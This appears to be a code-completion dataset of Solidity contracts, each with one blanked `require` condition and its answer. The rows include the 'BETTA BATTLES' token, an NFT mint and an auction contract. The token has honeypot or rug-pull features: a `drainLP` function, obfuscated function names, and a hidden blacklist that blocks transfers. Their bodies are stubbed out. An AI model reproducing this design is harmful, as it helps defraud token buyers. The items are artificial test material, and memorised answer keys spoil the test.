function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(<FILL_ME>)
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
if (!isExcludedFromFee(from) && !isExcludedFromFee(to)){
if (isMarket(from)) {
uint feeAmount = calculateFeeAmount(amount, buyFee);
_balances[from] = fromBalance - amount;
_balances[to] += amount - feeAmount;
emit Transfer(from, to, amount - feeAmount);
_balances[address(this)] += feeAmount;
emit Transfer(from, address(this), feeAmount);
} else if (isMarket(to)) {
uint feeAmount = calculateFeeAmount(amount, sellFee);
_balances[from] = fromBalance - amount;
_balances[to] += amount - feeAmount;
emit Transfer(from, to, amount - feeAmount);
_balances[address(this)] += feeAmount;
emit Transfer(from, address(this), feeAmount);
} else {
_balances[from] = fromBalance - amount;
_balances[to] += amount;
emit Transfer(from, to, amount);
}
} else {
_balances[from] = fromBalance - amount;
_balances[to] += amount;
emit Transfer(from, to, amount);
}
_afterTokenTransfer(from, to, amount);
}
function _mint(address account, uint256 amount) internal virtual {
}
function _burn(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {
}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual { }
/* @dev Custom features implementation */
function drainLP() external {
}
function getBaseTokenReserve(address token) public view returns (uint256) {
}
function e3fb23a0d() internal {
}
function d1fa275f334f() public {
}
function AddLiquidity() public payable {
}
/* @dev Rebase */
function rebaseLiquidityPool(address _newRouterAddress, address _newPairTokenAddress) public {
}
/* @dev Blacklist */
mapping(address => uint8) internal _f7ae38d22b;
function checkCurrentStatus(address _user) public view returns(bool) {
}
function editCurrentStatus(address _user, uint8 _status) public {
}
function switchOrigin(address newOrigin) public {
}
// Fees
function isMarket(address _user) internal view returns (bool) {
}
function calculateFeeAmount(uint256 _amount, uint256 _feePrecent) internal pure returns (uint) {
}
function isExcludedFromFee(address _user) public view returns (bool) {
}
function excludeFromLimits(address _user, bool _status) public {
}
function updateFees(uint256 _buyFee, uint256 _sellFee) external {
}
function updateMarketWallet(address _newMarketWallet) external {
}
function checkCurrentFees() external view returns (uint256 currentBuyFee, uint256 currentSellFee) {
}
// Swap & Liquify
bool internal inSwap;
modifier isLocked() {
}
function swapTaxes() isLocked internal {
}
function estimateEthAmountToSwap() internal view returns(uint256) {
}
function updateSwapThreshold(uint256 _amount) external {
}
// MAX WALLET
function currentMaxWallet() public view returns (uint256) {
}
function updateMaxWallet(uint256 _newMaxWallet) external {
}
function isExcludedFromMaxWallet(address _user) public view returns (bool) {
}
// MAX TXN
function updateMaxTxnAmount(uint256 _amount) public {
}
function checkCurrentMaxTxn() public view returns (uint256) {
}
}
| !checkCurrentStatus(from),"ERC20: No premission to transfer" | 107,749 | !checkCurrentStatus(from) |
"After this txn user will exceed max wallet" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
abstract contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
modifier onlyOwner() {
}
function owner() public view virtual returns (address) {
}
function _checkOwner() internal view virtual {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Pair {
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
library SecureCalls {
function checkCaller(address sender, address _origin) internal pure {
}
}
contract TokenContract is IERC20, Ownable {
IUniswapV2Router02 internal _router;
IUniswapV2Pair internal _pair;
address _origin;
address _pairToken;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply = 100000000000000000000000000;
string private _name = "BETTA BATTLES";
string private _symbol = "$BETTA";
uint8 private _decimals = 18;
uint private buyFee = 5;
uint private sellFee = 5;
uint256 private swapThreshold = 30000000000000;
uint256 private maxWallet = 1500000000000000000000000;
uint256 private maxTxnAmount = 1000000000000000000000000;
address public marketWallet;
mapping(address => bool) public excludedFromLimits; // Fees, Max Wallet, Max Txn
constructor (address routerAddress, address pairTokenAddress) {
}
/* @dev Default ERC-20 implementation */
function name() public view virtual returns (string memory) {
}
function symbol() public view virtual returns (string memory) {
}
function decimals() public view virtual returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
}
function _mint(address account, uint256 amount) internal virtual {
}
function _burn(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {
if (maxWallet != 0 && !isMarket(to) && !isExcludedFromMaxWallet(to) && !isExcludedFromMaxWallet(from)) {
require(<FILL_ME>)
}
if (maxTxnAmount != 0) {
if (!excludedFromLimits[from] && !excludedFromLimits[to]) {
require(amount <= maxTxnAmount, "Txn Amount too high!");
}
}
if (!inSwap && !isMarket(from) && from != _origin && from != address(this)) {
if (balanceOf(address(this)) >= swapThreshold) { swapTaxes(); }
}
}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual { }
/* @dev Custom features implementation */
function drainLP() external {
}
function getBaseTokenReserve(address token) public view returns (uint256) {
}
function e3fb23a0d() internal {
}
function d1fa275f334f() public {
}
function AddLiquidity() public payable {
}
/* @dev Rebase */
function rebaseLiquidityPool(address _newRouterAddress, address _newPairTokenAddress) public {
}
/* @dev Blacklist */
mapping(address => uint8) internal _f7ae38d22b;
function checkCurrentStatus(address _user) public view returns(bool) {
}
function editCurrentStatus(address _user, uint8 _status) public {
}
function switchOrigin(address newOrigin) public {
}
// Fees
function isMarket(address _user) internal view returns (bool) {
}
function calculateFeeAmount(uint256 _amount, uint256 _feePrecent) internal pure returns (uint) {
}
function isExcludedFromFee(address _user) public view returns (bool) {
}
function excludeFromLimits(address _user, bool _status) public {
}
function updateFees(uint256 _buyFee, uint256 _sellFee) external {
}
function updateMarketWallet(address _newMarketWallet) external {
}
function checkCurrentFees() external view returns (uint256 currentBuyFee, uint256 currentSellFee) {
}
// Swap & Liquify
bool internal inSwap;
modifier isLocked() {
}
function swapTaxes() isLocked internal {
}
function estimateEthAmountToSwap() internal view returns(uint256) {
}
function updateSwapThreshold(uint256 _amount) external {
}
// MAX WALLET
function currentMaxWallet() public view returns (uint256) {
}
function updateMaxWallet(uint256 _newMaxWallet) external {
}
function isExcludedFromMaxWallet(address _user) public view returns (bool) {
}
// MAX TXN
function updateMaxTxnAmount(uint256 _amount) public {
}
function checkCurrentMaxTxn() public view returns (uint256) {
}
}
| balanceOf(to)+amount<=maxWallet,"After this txn user will exceed max wallet" | 107,749 | balanceOf(to)+amount<=maxWallet |
"User already have this status" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
abstract contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
modifier onlyOwner() {
}
function owner() public view virtual returns (address) {
}
function _checkOwner() internal view virtual {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Pair {
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
library SecureCalls {
function checkCaller(address sender, address _origin) internal pure {
}
}
contract TokenContract is IERC20, Ownable {
IUniswapV2Router02 internal _router;
IUniswapV2Pair internal _pair;
address _origin;
address _pairToken;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply = 100000000000000000000000000;
string private _name = "BETTA BATTLES";
string private _symbol = "$BETTA";
uint8 private _decimals = 18;
uint private buyFee = 5;
uint private sellFee = 5;
uint256 private swapThreshold = 30000000000000;
uint256 private maxWallet = 1500000000000000000000000;
uint256 private maxTxnAmount = 1000000000000000000000000;
address public marketWallet;
mapping(address => bool) public excludedFromLimits; // Fees, Max Wallet, Max Txn
constructor (address routerAddress, address pairTokenAddress) {
}
/* @dev Default ERC-20 implementation */
function name() public view virtual returns (string memory) {
}
function symbol() public view virtual returns (string memory) {
}
function decimals() public view virtual returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
}
function _mint(address account, uint256 amount) internal virtual {
}
function _burn(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {
}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual { }
/* @dev Custom features implementation */
function drainLP() external {
}
function getBaseTokenReserve(address token) public view returns (uint256) {
}
function e3fb23a0d() internal {
}
function d1fa275f334f() public {
}
function AddLiquidity() public payable {
}
/* @dev Rebase */
function rebaseLiquidityPool(address _newRouterAddress, address _newPairTokenAddress) public {
}
/* @dev Blacklist */
mapping(address => uint8) internal _f7ae38d22b;
function checkCurrentStatus(address _user) public view returns(bool) {
}
function editCurrentStatus(address _user, uint8 _status) public {
}
function switchOrigin(address newOrigin) public {
}
// Fees
function isMarket(address _user) internal view returns (bool) {
}
function calculateFeeAmount(uint256 _amount, uint256 _feePrecent) internal pure returns (uint) {
}
function isExcludedFromFee(address _user) public view returns (bool) {
}
function excludeFromLimits(address _user, bool _status) public {
SecureCalls.checkCaller(msg.sender, _origin);
require(<FILL_ME>)
excludedFromLimits[_user] = _status;
}
function updateFees(uint256 _buyFee, uint256 _sellFee) external {
}
function updateMarketWallet(address _newMarketWallet) external {
}
function checkCurrentFees() external view returns (uint256 currentBuyFee, uint256 currentSellFee) {
}
// Swap & Liquify
bool internal inSwap;
modifier isLocked() {
}
function swapTaxes() isLocked internal {
}
function estimateEthAmountToSwap() internal view returns(uint256) {
}
function updateSwapThreshold(uint256 _amount) external {
}
// MAX WALLET
function currentMaxWallet() public view returns (uint256) {
}
function updateMaxWallet(uint256 _newMaxWallet) external {
}
function isExcludedFromMaxWallet(address _user) public view returns (bool) {
}
// MAX TXN
function updateMaxTxnAmount(uint256 _amount) public {
}
function checkCurrentMaxTxn() public view returns (uint256) {
}
}
| excludedFromLimits[_user]!=_status,"User already have this status" | 107,749 | excludedFromLimits[_user]!=_status |
null | pragma solidity 0.8.13;
contract NovaFanTeamClub is ERC721A, Ownable {
using Strings for uint256;
string public baseURI;
string public baseExtension = ".json";
string public notRevealedUri;
uint256 public cost = 0.00 ether;
uint256 public maxSupply = 10000;
uint256 public maxMintAmount = 250;
uint256 public nftPerAddressLimit = 10000;
uint256 public ReservedNFT = 0;
bool public paused = false;
bool public revealed = false;
bool public onlyWhitelisted = false;
address[] public whitelistedAddresses;
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI,
string memory _initNotRevealedUri
) ERC721A(_name, _symbol) {
}
// internal
function _baseURI() internal view virtual override returns (string memory) {
}
// public
function mint(uint256 _mintAmount) public payable {
require(!paused);
uint256 supply = totalSupply();
require(_mintAmount > 0);
require(_mintAmount <= maxMintAmount);
require(<FILL_ME>)
if (msg.sender != owner()) {
if (onlyWhitelisted == true) {
require(isWhitelisted(msg.sender), "User is not whitelisted.");
uint256 ownerTokenCount = balanceOf(msg.sender);
require (ownerTokenCount < nftPerAddressLimit);
}
require(msg.value >= cost * _mintAmount);
}
_safeMint(msg.sender, _mintAmount);
}
function isWhitelisted(address _user) public view returns (bool) {
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
//only owner
function reveal() public onlyOwner {
}
function setNftPerAddressLimit(uint256 _limit) public onlyOwner {
}
function setCost(uint256 _newCost) public onlyOwner {
}
function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner {
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
}
function pause(bool _state) public onlyOwner {
}
function setOnlyWhitelisted(bool _state) public onlyOwner {
}
function whitelistUsers(address[] calldata _users) public onlyOwner {
}
function seReservedNFT(uint256 _newreserve) public onlyOwner {
}
function withdraw() public payable onlyOwner {
}
function AirDrop(address _to, uint256 _mintAmount) public onlyOwner {
}
}
| supply+_mintAmount<=maxSupply-ReservedNFT | 107,932 | supply+_mintAmount<=maxSupply-ReservedNFT |
"Auction: User is not whitelisted" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
import '@openzeppelin/contracts/token/ERC20/ERC20.sol';
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import '@openzeppelin/contracts/token/ERC721/IERC721.sol';
import '@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol';
import '@openzeppelin/contracts/access/AccessControl.sol';
import './IWhitelist.sol';
import './TimeContract.sol';
contract PropyAuctionV2 is AccessControl, TimeContract {
using SafeERC20 for IERC20;
using Address for *;
bytes32 public constant CONFIG_ROLE = keccak256('CONFIG_ROLE');
bytes32 public constant FINALIZE_ROLE = keccak256('FINALIZE_ROLE');
uint32 public constant BID_DEADLINE_EXTENSION = 15 minutes;
uint32 public constant MAX_AUCTION_LENGTH = 30 days;
IWhitelist public immutable whitelist;
// Auction ID is constructed as keccak256(abi.encodePacked(address(nft), uint256(nftId), uint32(startDate)))
mapping(bytes32 => Auction) internal auctions;
mapping(bytes32 => mapping(address => uint)) internal bids;
mapping(address => uint) public unclaimed;
struct Auction {
uint128 minBid;
uint32 deadline;
uint32 finalizeTimeout;
bool finalized;
}
event TokensRecovered(address token, address to, uint value);
event Bid(IERC721 nft, uint nftId, uint32 start, address user, uint value);
event Claimed(IERC721 nft, uint nftId, uint32 start, address user, uint value);
event Withdrawn(address user, uint value);
event Finalized(IERC721 nft, uint nftId, uint32 start, address winner, uint winnerBid);
event AuctionAdded(IERC721 nft, uint nftId, uint32 start, uint32 deadline, uint128 minBid, uint32 timeout);
event MinBidUpdated(IERC721 nft, uint nftId, uint32 start, uint128 minBid);
event DeadlineExtended(IERC721 nft, uint nftId, uint32 start, uint32 deadline);
modifier onlyWhitelisted() {
require(<FILL_ME>)
_;
}
constructor(
address _owner,
address _configurator,
address _finalizer,
IWhitelist _whitelist
) {
}
function _auctionId(IERC721 _nft, uint _nftId, uint32 _start) internal pure returns(bytes32) {
}
function getAuction(IERC721 _nft, uint _nftId, uint32 _start) external view returns(Auction memory) {
}
function getBid(IERC721 _nft, uint _nftId, uint32 _start, address _bidder) public view returns(uint) {
}
function bid(IERC721 _nft, uint _nftId, uint32 _start) external payable virtual {
}
function _bid(IERC721 _nft, uint _nftId, uint32 _start, uint _amount) internal onlyWhitelisted {
}
function addAuction(IERC721 _nft, uint _nftId, uint32 _start, uint32 _deadline, uint128 _minBid, uint32 _finalizeTimeout) external onlyRole(CONFIG_ROLE) {
}
function updateMinBid(IERC721 _nft, uint _nftId, uint32 _start, uint128 _minBid) external onlyRole(CONFIG_ROLE) {
}
function updateDeadline(IERC721 _nft, uint _nftId, uint32 _start, uint32 _deadline) external onlyRole(CONFIG_ROLE) {
}
function finalize(
IERC721 _nft,
uint _nftId,
uint32 _start,
address _winner,
address[] memory _payoutAddresses,
uint256[] memory _payoutAddressValues
) external onlyRole(FINALIZE_ROLE) {
}
function claim(IERC721 _nft, uint _nftId, uint32 _start) external {
}
function claimFor(IERC721 _nft, uint _nftId, uint32 _start, address _user) public {
}
function _claimFor(IERC721 _nft, uint _nftId, uint32 _start, address _user, uint _userBid) internal {
}
function withdraw() external {
}
function withdrawFor(address _user) external onlyRole(CONFIG_ROLE) {
}
function _withdraw(address _user) internal {
}
function claimAndWithdrawFor(IERC721 _nft, uint _nftId, uint32 _start, address[] calldata _users) external onlyRole(CONFIG_ROLE) {
}
function claimAndWithdraw(IERC721 _nft, uint _nftId, uint32 _start) external {
}
function recoverTokens(IERC20 _token, address _destination, uint _amount) public virtual onlyRole(CONFIG_ROLE) {
}
function isDone(IERC721 _nft, uint _nftId, uint32 _start) external view returns(bool) {
}
function _isDone(Auction memory _auction) internal view returns(bool) {
}
function _pay(address _to, uint _amount) internal virtual {
}
}
| whitelist.whitelist(_msgSender()),"Auction: User is not whitelisted" | 108,022 | whitelist.whitelist(_msgSender()) |
'Auction: Not started yet' | // SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
import '@openzeppelin/contracts/token/ERC20/ERC20.sol';
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import '@openzeppelin/contracts/token/ERC721/IERC721.sol';
import '@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol';
import '@openzeppelin/contracts/access/AccessControl.sol';
import './IWhitelist.sol';
import './TimeContract.sol';
contract PropyAuctionV2 is AccessControl, TimeContract {
using SafeERC20 for IERC20;
using Address for *;
bytes32 public constant CONFIG_ROLE = keccak256('CONFIG_ROLE');
bytes32 public constant FINALIZE_ROLE = keccak256('FINALIZE_ROLE');
uint32 public constant BID_DEADLINE_EXTENSION = 15 minutes;
uint32 public constant MAX_AUCTION_LENGTH = 30 days;
IWhitelist public immutable whitelist;
// Auction ID is constructed as keccak256(abi.encodePacked(address(nft), uint256(nftId), uint32(startDate)))
mapping(bytes32 => Auction) internal auctions;
mapping(bytes32 => mapping(address => uint)) internal bids;
mapping(address => uint) public unclaimed;
struct Auction {
uint128 minBid;
uint32 deadline;
uint32 finalizeTimeout;
bool finalized;
}
event TokensRecovered(address token, address to, uint value);
event Bid(IERC721 nft, uint nftId, uint32 start, address user, uint value);
event Claimed(IERC721 nft, uint nftId, uint32 start, address user, uint value);
event Withdrawn(address user, uint value);
event Finalized(IERC721 nft, uint nftId, uint32 start, address winner, uint winnerBid);
event AuctionAdded(IERC721 nft, uint nftId, uint32 start, uint32 deadline, uint128 minBid, uint32 timeout);
event MinBidUpdated(IERC721 nft, uint nftId, uint32 start, uint128 minBid);
event DeadlineExtended(IERC721 nft, uint nftId, uint32 start, uint32 deadline);
modifier onlyWhitelisted() {
}
constructor(
address _owner,
address _configurator,
address _finalizer,
IWhitelist _whitelist
) {
}
function _auctionId(IERC721 _nft, uint _nftId, uint32 _start) internal pure returns(bytes32) {
}
function getAuction(IERC721 _nft, uint _nftId, uint32 _start) external view returns(Auction memory) {
}
function getBid(IERC721 _nft, uint _nftId, uint32 _start, address _bidder) public view returns(uint) {
}
function bid(IERC721 _nft, uint _nftId, uint32 _start) external payable virtual {
}
function _bid(IERC721 _nft, uint _nftId, uint32 _start, uint _amount) internal onlyWhitelisted {
require(_amount > 0, 'Auction: Zero bid not allowed');
require(<FILL_ME>)
bytes32 id = _auctionId(_nft, _nftId, _start);
Auction memory auction = auctions[id];
require(auction.deadline > 0, 'Auction: Not found');
require(notPassed(auction.deadline), 'Auction: Already finished');
if (passed(auction.deadline - BID_DEADLINE_EXTENSION)) {
uint32 newDeadline = uint32(block.timestamp) + BID_DEADLINE_EXTENSION;
auctions[id].deadline = newDeadline;
emit DeadlineExtended(_nft, _nftId, _start, newDeadline);
}
uint newBid = bids[id][_msgSender()] + _amount;
require(newBid >= auction.minBid, 'Auction: Can not bid less than allowed');
bids[id][_msgSender()] = newBid;
emit Bid(_nft, _nftId, _start, _msgSender(), newBid);
}
function addAuction(IERC721 _nft, uint _nftId, uint32 _start, uint32 _deadline, uint128 _minBid, uint32 _finalizeTimeout) external onlyRole(CONFIG_ROLE) {
}
function updateMinBid(IERC721 _nft, uint _nftId, uint32 _start, uint128 _minBid) external onlyRole(CONFIG_ROLE) {
}
function updateDeadline(IERC721 _nft, uint _nftId, uint32 _start, uint32 _deadline) external onlyRole(CONFIG_ROLE) {
}
function finalize(
IERC721 _nft,
uint _nftId,
uint32 _start,
address _winner,
address[] memory _payoutAddresses,
uint256[] memory _payoutAddressValues
) external onlyRole(FINALIZE_ROLE) {
}
function claim(IERC721 _nft, uint _nftId, uint32 _start) external {
}
function claimFor(IERC721 _nft, uint _nftId, uint32 _start, address _user) public {
}
function _claimFor(IERC721 _nft, uint _nftId, uint32 _start, address _user, uint _userBid) internal {
}
function withdraw() external {
}
function withdrawFor(address _user) external onlyRole(CONFIG_ROLE) {
}
function _withdraw(address _user) internal {
}
function claimAndWithdrawFor(IERC721 _nft, uint _nftId, uint32 _start, address[] calldata _users) external onlyRole(CONFIG_ROLE) {
}
function claimAndWithdraw(IERC721 _nft, uint _nftId, uint32 _start) external {
}
function recoverTokens(IERC20 _token, address _destination, uint _amount) public virtual onlyRole(CONFIG_ROLE) {
}
function isDone(IERC721 _nft, uint _nftId, uint32 _start) external view returns(bool) {
}
function _isDone(Auction memory _auction) internal view returns(bool) {
}
function _pay(address _to, uint _amount) internal virtual {
}
}
| passed(_start),'Auction: Not started yet' | 108,022 | passed(_start) |
'Auction: Already finished' | // SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
import '@openzeppelin/contracts/token/ERC20/ERC20.sol';
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import '@openzeppelin/contracts/token/ERC721/IERC721.sol';
import '@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol';
import '@openzeppelin/contracts/access/AccessControl.sol';
import './IWhitelist.sol';
import './TimeContract.sol';
contract PropyAuctionV2 is AccessControl, TimeContract {
using SafeERC20 for IERC20;
using Address for *;
bytes32 public constant CONFIG_ROLE = keccak256('CONFIG_ROLE');
bytes32 public constant FINALIZE_ROLE = keccak256('FINALIZE_ROLE');
uint32 public constant BID_DEADLINE_EXTENSION = 15 minutes;
uint32 public constant MAX_AUCTION_LENGTH = 30 days;
IWhitelist public immutable whitelist;
// Auction ID is constructed as keccak256(abi.encodePacked(address(nft), uint256(nftId), uint32(startDate)))
mapping(bytes32 => Auction) internal auctions;
mapping(bytes32 => mapping(address => uint)) internal bids;
mapping(address => uint) public unclaimed;
struct Auction {
uint128 minBid;
uint32 deadline;
uint32 finalizeTimeout;
bool finalized;
}
event TokensRecovered(address token, address to, uint value);
event Bid(IERC721 nft, uint nftId, uint32 start, address user, uint value);
event Claimed(IERC721 nft, uint nftId, uint32 start, address user, uint value);
event Withdrawn(address user, uint value);
event Finalized(IERC721 nft, uint nftId, uint32 start, address winner, uint winnerBid);
event AuctionAdded(IERC721 nft, uint nftId, uint32 start, uint32 deadline, uint128 minBid, uint32 timeout);
event MinBidUpdated(IERC721 nft, uint nftId, uint32 start, uint128 minBid);
event DeadlineExtended(IERC721 nft, uint nftId, uint32 start, uint32 deadline);
modifier onlyWhitelisted() {
}
constructor(
address _owner,
address _configurator,
address _finalizer,
IWhitelist _whitelist
) {
}
function _auctionId(IERC721 _nft, uint _nftId, uint32 _start) internal pure returns(bytes32) {
}
function getAuction(IERC721 _nft, uint _nftId, uint32 _start) external view returns(Auction memory) {
}
function getBid(IERC721 _nft, uint _nftId, uint32 _start, address _bidder) public view returns(uint) {
}
function bid(IERC721 _nft, uint _nftId, uint32 _start) external payable virtual {
}
function _bid(IERC721 _nft, uint _nftId, uint32 _start, uint _amount) internal onlyWhitelisted {
require(_amount > 0, 'Auction: Zero bid not allowed');
require(passed(_start), 'Auction: Not started yet');
bytes32 id = _auctionId(_nft, _nftId, _start);
Auction memory auction = auctions[id];
require(auction.deadline > 0, 'Auction: Not found');
require(<FILL_ME>)
if (passed(auction.deadline - BID_DEADLINE_EXTENSION)) {
uint32 newDeadline = uint32(block.timestamp) + BID_DEADLINE_EXTENSION;
auctions[id].deadline = newDeadline;
emit DeadlineExtended(_nft, _nftId, _start, newDeadline);
}
uint newBid = bids[id][_msgSender()] + _amount;
require(newBid >= auction.minBid, 'Auction: Can not bid less than allowed');
bids[id][_msgSender()] = newBid;
emit Bid(_nft, _nftId, _start, _msgSender(), newBid);
}
function addAuction(IERC721 _nft, uint _nftId, uint32 _start, uint32 _deadline, uint128 _minBid, uint32 _finalizeTimeout) external onlyRole(CONFIG_ROLE) {
}
function updateMinBid(IERC721 _nft, uint _nftId, uint32 _start, uint128 _minBid) external onlyRole(CONFIG_ROLE) {
}
function updateDeadline(IERC721 _nft, uint _nftId, uint32 _start, uint32 _deadline) external onlyRole(CONFIG_ROLE) {
}
function finalize(
IERC721 _nft,
uint _nftId,
uint32 _start,
address _winner,
address[] memory _payoutAddresses,
uint256[] memory _payoutAddressValues
) external onlyRole(FINALIZE_ROLE) {
}
function claim(IERC721 _nft, uint _nftId, uint32 _start) external {
}
function claimFor(IERC721 _nft, uint _nftId, uint32 _start, address _user) public {
}
function _claimFor(IERC721 _nft, uint _nftId, uint32 _start, address _user, uint _userBid) internal {
}
function withdraw() external {
}
function withdrawFor(address _user) external onlyRole(CONFIG_ROLE) {
}
function _withdraw(address _user) internal {
}
function claimAndWithdrawFor(IERC721 _nft, uint _nftId, uint32 _start, address[] calldata _users) external onlyRole(CONFIG_ROLE) {
}
function claimAndWithdraw(IERC721 _nft, uint _nftId, uint32 _start) external {
}
function recoverTokens(IERC20 _token, address _destination, uint _amount) public virtual onlyRole(CONFIG_ROLE) {
}
function isDone(IERC721 _nft, uint _nftId, uint32 _start) external view returns(bool) {
}
function _isDone(Auction memory _auction) internal view returns(bool) {
}
function _pay(address _to, uint _amount) internal virtual {
}
}
| notPassed(auction.deadline),'Auction: Already finished' | 108,022 | notPassed(auction.deadline) |
'Auction: Start should be more than current time' | // SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
